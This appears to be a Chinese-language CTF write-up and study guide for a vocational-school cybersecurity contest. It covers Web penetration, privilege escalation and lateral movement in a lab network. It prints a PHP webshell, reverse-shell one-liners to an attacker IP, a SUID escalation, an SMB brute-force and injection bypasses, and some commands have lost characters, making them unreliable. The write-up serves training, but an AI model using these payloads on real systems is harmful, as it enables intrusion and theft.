中职网络安全国赛实战复盘:从Web渗透到内网横向移动的完整攻防演练

发布时间:2026/8/29 3:19:39
中职网络安全国赛实战复盘:从Web渗透到内网横向移动的完整攻防演练 1. 项目概述一次典型的中职网络安全国赛实战复盘最近整理资料翻到了2020年那场网络安全国赛中职组的正式赛题。虽然过去几年了但里面的考点和设计思路对于现在想入门CTFCapture The Flag夺旗赛或者了解中职阶段网络安全教学重点的朋友来说依然非常有参考价值。那次比赛本质上是一场综合性的技能考核它不像一些纯理论的考试而是把选手扔进一个模拟的、存在多处漏洞的网络环境里要求你像一名“白帽子”安全研究员一样去发现漏洞、利用漏洞最终找到隐藏的“Flag”一串特定格式的字符串。题目覆盖了Web渗透、系统提权、密码破解、流量分析、应急响应等多个维度非常考验实操能力和知识面的广度。我之所以觉得有必要拿出来聊聊是因为我发现很多刚接触网络安全的新手包括一些在校学生往往对“学安全”感到迷茫不知道从何下手或者觉得那些漏洞原理离自己很远。而这套赛题恰恰提供了一个绝佳的“切片样本”。通过拆解它你不仅能看到一个完整的、贴近实战的渗透测试流程是如何串起来的更能清晰地知道在中职阶段业界和教学体系认为哪些核心技能是必须掌握的。接下来我就以参赛者和出题人的双重视角带大家把这场比赛的精华部分重新走一遍过程中我会补充大量当时解题的思考过程、用到的工具命令细节以及那些容易踩坑的地方。2. 赛题环境与核心考点解析2.1 赛题场景与拓扑结构当年的赛题通常以一个虚拟的企业或机构网络为背景。我记得其中一个典型的场景是“某公司内部办公系统存在安全隐患请对其进行安全评估”。拓扑不会特别复杂但层次清晰一般会包含以下几个关键节点对外Web服务器这是最主要的攻击入口。可能是一个公司的门户网站、OA系统或者某个业务应用。上面跑着诸如Apache、Nginx、Tomcat等服务并部署了带有漏洞的Web应用。内部服务器/数据库服务器通常无法从互联网直接访问需要先突破Web服务器再通过它进行“内网渗透”或“跳板”才能触及。上面可能存放着关键数据Flag。个人办公主机模拟员工电脑可能存在弱口令、未打补丁的漏洞或者不当共享作为横向移动的跳板。网络边界设备可能暗示存在防火墙策略不当、路由问题等但中职赛题中直接涉及复杂网络设备攻防的较少更多是隐含在访问路径中。整个渗透路径可以概括为外网信息收集 - Web漏洞利用获取Web服务器权限 - 内网信息收集与横向移动 - 攻陷数据库或内部服务器获取最终Flag。这个流程本身就是渗透测试标准流程PTES的简化体现。2.2 核心技能考点分布这套赛题几乎涵盖了中职网络安全教学大纲要求的核心技能点我们可以将其归纳为以下几个模块2.2.1 Web安全漏洞这是重头戏占比通常超过50%。必考和常考的漏洞类型包括SQL注入SQLi尤其是联合查询注入、布尔盲注、时间盲注。考察点在于手工构造Payload绕过简单的过滤以及使用sqlmap等工具进行自动化检测。题目往往会设置一些障碍比如过滤了空格、引号或关键词需要选手用/**/、%0a、like、regexp等方式进行绕过。文件上传漏洞考察对上传文件类型、内容、路径的绕过。常见套路是前端JS验证、后端MIME类型检查、黑名单过滤如禁止.php,.asp。解题思路可能是利用.php5,.phtml等特殊后缀、在文件内容头部添加图片魔数如GIF89a进行混淆、或者利用解析漏洞如IIS6.0的*.asp;.jpg。命令执行RCE与代码执行Web应用在调用系统命令或执行动态代码时因未对用户输入做严格过滤而导致。比如PHP的system(),exec(),passthru()函数或者eval()函数。考点在于如何拼接出有效的系统命令并利用管道符、反引号等获取回显或建立反向Shell。目录遍历与文件包含利用../等路径穿越符号读取系统敏感文件如/etc/passwd, 网站源码index.php或者通过本地文件包含LFI配合日志文件、php://input等伪协议实现代码执行。跨站脚本XSS虽然在中职赛题中直接盗取Cookie的题目较少但可能会作为信息链的一环出现比如反射型XSS用于钓鱼管理员或者存储型XSS结合其他漏洞。2.2.2 系统与服务安全操作系统提权在获得一个低权限Shell如www-data用户后需要提升到root或系统管理员权限。考点包括利用内核漏洞如脏牛Dirty Cow、SUID/SGID可执行文件滥用如find、vim、nmap、环境变量劫持、sudo权限配置错误、计划任务crontab等。服务漏洞利用针对FTP、SSH、SMB、RDP等服务的弱口令爆破或已知漏洞利用如永恒之蓝MS17-010。中职赛题中弱口令爆破是高频考点。中间件配置漏洞Apache、Nginx、Tomcat的配置错误例如目录列出、PUT方法启用导致任意文件上传、管理后台暴露且默认口令等。2.2.3 密码学与隐写术古典密码与现代编码考察凯撒密码、栅栏密码、培根密码、摩斯电码、Base64/32/16编码、URL编码、HTML实体编码等的识别与解密。通常Flag会经过多层编码或加密隐藏。文件隐写将Flag信息隐藏在图片、音频、视频文件的元数据或通过LSB最低有效位隐写中。需要用到binwalk、foremost、steghide可能需要密码、exiftool等工具进行分析和分离。哈希破解给出MD5、SHA1等哈希值要求还原明文。通常密码不会太复杂可能通过在线彩虹表或hashcat、John the Ripper配合常用字典破解。2.2.4 数字取证与流量分析网络流量包PCAP分析使用Wireshark打开提供的流量包文件考察过滤HTTP流、追踪TCP流、分析DNS查询、提取传输的文件如图片、木马、发现异常连接或敏感信息泄露如密码明文传输。系统日志分析提供Web访问日志、系统认证日志等要求从中发现攻击痕迹、定位攻击源IP、还原攻击者使用的Payload。3. 典型赛题实战拆解与解题思路我们虚拟一个融合了多个考点的综合题目命名为“WebCMS管理后台漏洞利用与内网渗透”。假设目标IP是192.168.1.100。3.1 第一阶段信息收集与Web漏洞发现拿到目标IP第一步绝不是直接上扫描器乱轰。3.1.1 基础信息收集# 1. 使用nmap进行端口和服务探测-sV尝试识别版本-sC使用默认脚本扫描 nmap -sS -sV -sC -p- 192.168.1.100 -oA nmap_initial扫描结果假设显示开放了80端口Apache httpd 2.4.38、22端口OpenSSH 7.9p1、3306端口MySQL。3.1.2 Web目录与敏感文件发现使用dirsearch或gobuster进行目录爆破dirsearch -u http://192.168.1.100 -e php,html,zip,bak,txt,json -x 403,404发现关键路径/admin/管理后台、/upload/上传目录、/index.php?page...可能存在文件包含。访问/admin/是一个登录页面。尝试弱口令admin/admin, admin/123456无果。查看页面源码发现注释里提示“ ”。尝试用test:test登录成功进入后台。注意国赛题目中这种“注释藏密码”的套路非常常见一定要养成查看网页源码CtrlU的习惯尤其是HTML注释、JS代码和隐藏表单域。3.1.3 文件上传漏洞利用在后台找到一个“上传新闻图片”的功能。尝试上传一个简单的PHP Webshell文件shell.php?php eval($_POST[cmd]);?前端提示“仅允许上传jpg, png格式文件”。这显然是前端JS验证。我们直接使用Burp Suite抓包将上传文件的扩展名从.php改为.php.jpg同时修改Content-Type为image/jpeg。发送请求后返回了文件路径/upload/shell.php.jpg。直接访问http://192.168.1.100/upload/shell.php.jpg发现代码没有被执行服务器将其当作静态图片处理了。这里考察的是文件解析漏洞。我们需要猜测服务器端的解析逻辑。一种常见情况是Apache的配置问题如果它设置了对.php后缀的解析但对.php.jpg这样的文件可能只认最后的后缀.jpg。尝试另一种绕过方式利用操作系统特性。在Linux下文件名中的.和空格有特殊意义。我们上传文件名为shell.php.末尾带点或shell.php末尾带空格抓包后修改文件名。或者使用双写后缀shell.php.jpg.php。经过测试上传shell.php.点号后服务器保存的文件名自动去掉了末尾的点变成了shell.php访问成功并可以用中国菜刀或蚁剑连接。实操心得文件上传漏洞的利用是一个“猜”和“试”的过程。要系统性地尝试各种绕过方法修改扩展名、修改Content-Type、制作图片马、利用解析漏洞IIS、Nginx、Apache特定版本、利用.htaccess或.user.ini文件等。准备好一个包含各种测试用例的清单非常重要。3.2 第二阶段权限获取与内网探索通过Webshell我们获得了www-data用户的权限。3.2.1 建立稳定的反向ShellWebshell的交互性很差我们需要一个更稳定的Shell。在攻击机Kali假设IP为192.168.1.50上监听端口nc -lvnp 4444在Webshell中执行命令发送反向连接# 使用bash bash -c bash -i /dev/tcp/192.168.1.50/4444 01 # 或者使用python更可靠 python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.50,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);成功获得一个反向Shell。3.2.2 系统信息收集whoami id # 查看当前用户 uname -a # 查看内核版本 cat /etc/issue # 查看系统版本 ps aux # 查看进程 netstat -antp # 查看网络连接 ifconfig 或 ip a # 查看内网IP发现当前主机内网IP是172.16.10.5并且发现同一网段172.16.10.0/24内还有其他主机。3.2.3 权限提升提权尝试查找SUID特权文件find / -perm -us -type f 2/dev/null发现/usr/bin/find具有SUID权限。这是一个经典的提权点。我们可以利用find命令的-exec参数执行命令/usr/bin/find . -exec /bin/sh -p \; -quit执行后whoami显示变为root提权成功。注意事项提权是渗透测试中最需要谨慎的环节之一。在真实环境中不当的提权操作可能造成系统崩溃或触发警报。在比赛中通常考察的是对已知提权技术的应用。除了SUID还要重点检查sudo -l查看当前用户能以root身份运行哪些命令、内核漏洞使用searchsploit或linux-exploit-suggester脚本、可写的计划任务、环境变量PATH劫持等。3.3 第三阶段内网横向移动与Flag获取现在有了root权限可以读取系统上的任何文件。首先寻找Flag。# 在常见目录搜索包含“flag”或“key”的文件 find / -name *flag* -o -name *key* -o -name *.txt -type f 2/dev/null | head -20 # 查看Web目录下的配置文件寻找数据库密码 find /var/www/html -name *.php -type f -exec grep -l mysql_connect\|mysqli\|PDO {} \; cat /var/www/html/config.php假设在config.php中找到数据库密码db_pass RedTeam!#2020。3.3.1 数据库信息获取使用找到的密码连接MySQL数据库mysql -u root -pRedTeam!#2020查看数据库和表show databases; use webcmsdb; show tables; select * from users; -- 可能找到管理员哈希密码 select * from flag_table; -- 假设Flag就在这里成功从flag_table中拿到第一个Flagflag{Web_D4t4b4s3_3xfil_tr4c3}。3.3.2 对内网其他主机进行探测从当前主机向同网段其他主机发起扫描# 使用nmap如果已安装 nmap -sn 172.16.10.0/24 # 或者用简单的ping和端口扫描脚本 for i in {1..254}; do timeout 1 bash -c ping -c 1 172.16.10.$i /dev/null echo 172.16.10.$i is up; done发现主机172.16.10.10存活且开放了445端口SMB服务。3.3.3 利用SMB服务漏洞或弱口令尝试使用smbclient进行空会话连接和弱口令爆破smbclient -L //172.16.10.10 -N # 空会话列举共享 # 假设发现共享名“data” # 使用hydra进行密码爆破需提前准备用户名字典和密码字典 hydra -L user.txt -P pass.txt smb://172.16.10.10假设爆破成功得到凭证admin:Admin123。连接共享并查找Flagsmbclient //172.16.10.10/data -U admin%Admin123 ls get final_flag.txt成功下载final_flag.txt内容为最终Flagflag{1ntr4n3t_L4t3r4l_M0v3m3nt_Succ3ss}。4. 赛题中常见的“坑”与解题技巧实录4.1 Web题目中的常见陷阱过滤与绕过题目经常不是简单的注入点。比如SQL注入过滤了空格和。这时要用/**/或%0a代替空格用like或regexp代替。如果过滤了select可能要用大小写混淆SeLeCt或者用双重URL编码。盲注的布尔判断布尔盲注时页面返回“用户存在”和“用户不存在”两种状态可能非常相似需要仔细观察HTML源码的细微差别或者用length()函数判断返回内容长度差异更可靠。文件包含的伪协议利用遇到文件包含LFI不要只想着读取/etc/passwd。要尝试使用php://filter/convert.base64-encode/resourceindex.php来读取源码得到的是base64编码需要解码。如果允许包含远程URLRFI且服务器出网可以包含自己VPS上的Webshell。Cookie、Header处的注入注入点不一定在URL参数或表单里有时在Cookie、User-Agent、X-Forwarded-For等HTTP头中。需要用Burp Suite等工具拦截请求并修改测试。4.2 系统与密码学题目技巧提权信息收集脚本手工检查提权点效率低。可以上传或在线运行诸如LinEnum.sh、linuxprivchecker.py这样的脚本它们能自动化检查系统配置、SUID文件、sudo权限、计划任务、进程、网络连接等信息快速定位突破口。密码哈希识别与破解拿到一个哈希串如5f4dcc3b5aa765d61d8327deb882cf99先用hash-identifier工具识别其类型这里是MD5。对于简单密码直接去cmd5.com等网站查询复杂些的用hashcat指定哈希类型和攻击模式字典攻击-a 0或掩码攻击-a 3。隐写术多工具联合一张图片可能用了多种隐藏手段。标准流程是先用file命令看文件类型用exiftool看元数据用strings看字符串用binwalk -e分离内嵌文件用steghide extract -sf picture.jpg可能会询问密码尝试空密码或常见密码提取隐写数据最后用zsteg检查PNG/BMP的LSB隐写。4.3 流量分析与取证题目要点Wireshark过滤语法这是基础也是关键。常用过滤http.request所有HTTP请求、tcp.stream eq X追踪特定TCP流、dnsDNS查询、ftpFTP流量。通过“文件 - 导出对象 - HTTP”可以快速提取传输的文件。寻找异常点关注协议、端口、数据包大小的异常。例如大量的DNS TXT查询可能用于数据外传DNS隧道ICMP包载荷过大可能用于ICMP隧道一个HTTP POST请求的响应时间极长可能是时间盲注的特征。还原攻击链题目往往给一个被攻击后的流量包要求你还原攻击者做了什么。方法是先过滤出攻击者IPip.src x.x.x.x的所有流量然后按时间顺序结合HTTP请求和响应一步步看其进行了哪些目录扫描、参数测试、上传文件、执行命令等操作。5. 备赛训练与能力提升建议如果你想针对此类比赛进行训练或者想系统性地提升自己的网络安全实战能力光看题解是不够的必须动手。5.1 搭建个人练习环境虚拟机平台VMware Workstation或VirtualBox。攻击机Kali Linux是标配集成了几乎所有需要的工具。靶机在线靶场非常适合新手。推荐DVWA、bWAPP、WebGoat它们将漏洞按难度分级并有详细教程。综合渗透靶机下载OVA镜像如Metasploitable2/3、VulnHub上的各类靶机、HackTheBox的退役机器需要一定基础。这些靶机环境更接近真实场景。CTF动态靶场CTFd平台可以自己部署搭配CTF-Architecture这样的Docker化题目容器能模拟比赛环境。5.2 工具链熟练度不要追求工具的数量而要精通核心工具的使用和原理信息收集nmap端口扫描、dirsearch/gobuster目录爆破、whatwebCMS识别。漏洞利用Burp SuiteHTTP代理/重放/爆破核心中的核心、sqlmapSQL注入自动化、Metasploit漏洞利用框架。密码破解hashcatGPU高速破解、John the Ripper。逆向与隐写binwalk、steghide、Wireshark。Shell管理Netcat瑞士军刀、Socat增强版Netcat、蚁剑/中国菜刀/Cobalt Strike图形化Webshell管理。5.3 知识体系构建按照一个模块化的路线图学习网络基础TCP/IP协议、HTTP/HTTPS协议、DNS原理。这是看懂一切的基础。操作系统基础Linux常用命令、文件系统结构、权限体系、进程管理。Windows的基本命令和体系也要了解。Web前端基础HTML、JavaScript、Cookie/Session机制。至少能看懂基本的代码逻辑。一门脚本语言Python是首选用于编写自动化脚本、漏洞利用POC、处理数据。Bash Shell脚本也必不可少。漏洞原理深度学习针对OWASP Top 10中的每一个漏洞不仅要知道怎么利用工具更要明白其产生的根本原因、代码层面的缺陷、各种防御和绕过手段。阅读漏洞分析文章和CVE细节。5.4 模拟比赛与复盘定期打CTF参加BugKu、CTFHub、攻防世界的线上赛从新手入门题开始。赛后复盘无论做对做错一定要看官方Writeup或其他选手的解题报告。对比自己的思路差距在哪里学到了什么新技巧这个漏洞的变种还能怎么出组建团队如果可以找2-3个志同道合的朋友组队。分工合作Web、逆向、密码、杂项定期一起打比赛、讨论问题进步速度远超一个人摸索。这条路没有捷径就是“理论 - 靶场实践 - 打比赛 - 复盘总结”的不断循环。2020年的这套国赛题就像一份经典的“病历”通过解剖它你学到了常见的“病症”漏洞和“治疗方法”利用技巧。但现实世界的网络环境千变万化新的漏洞和防御技术不断涌现唯有保持持续学习和动手实践的热情才能在这条路上走得更远。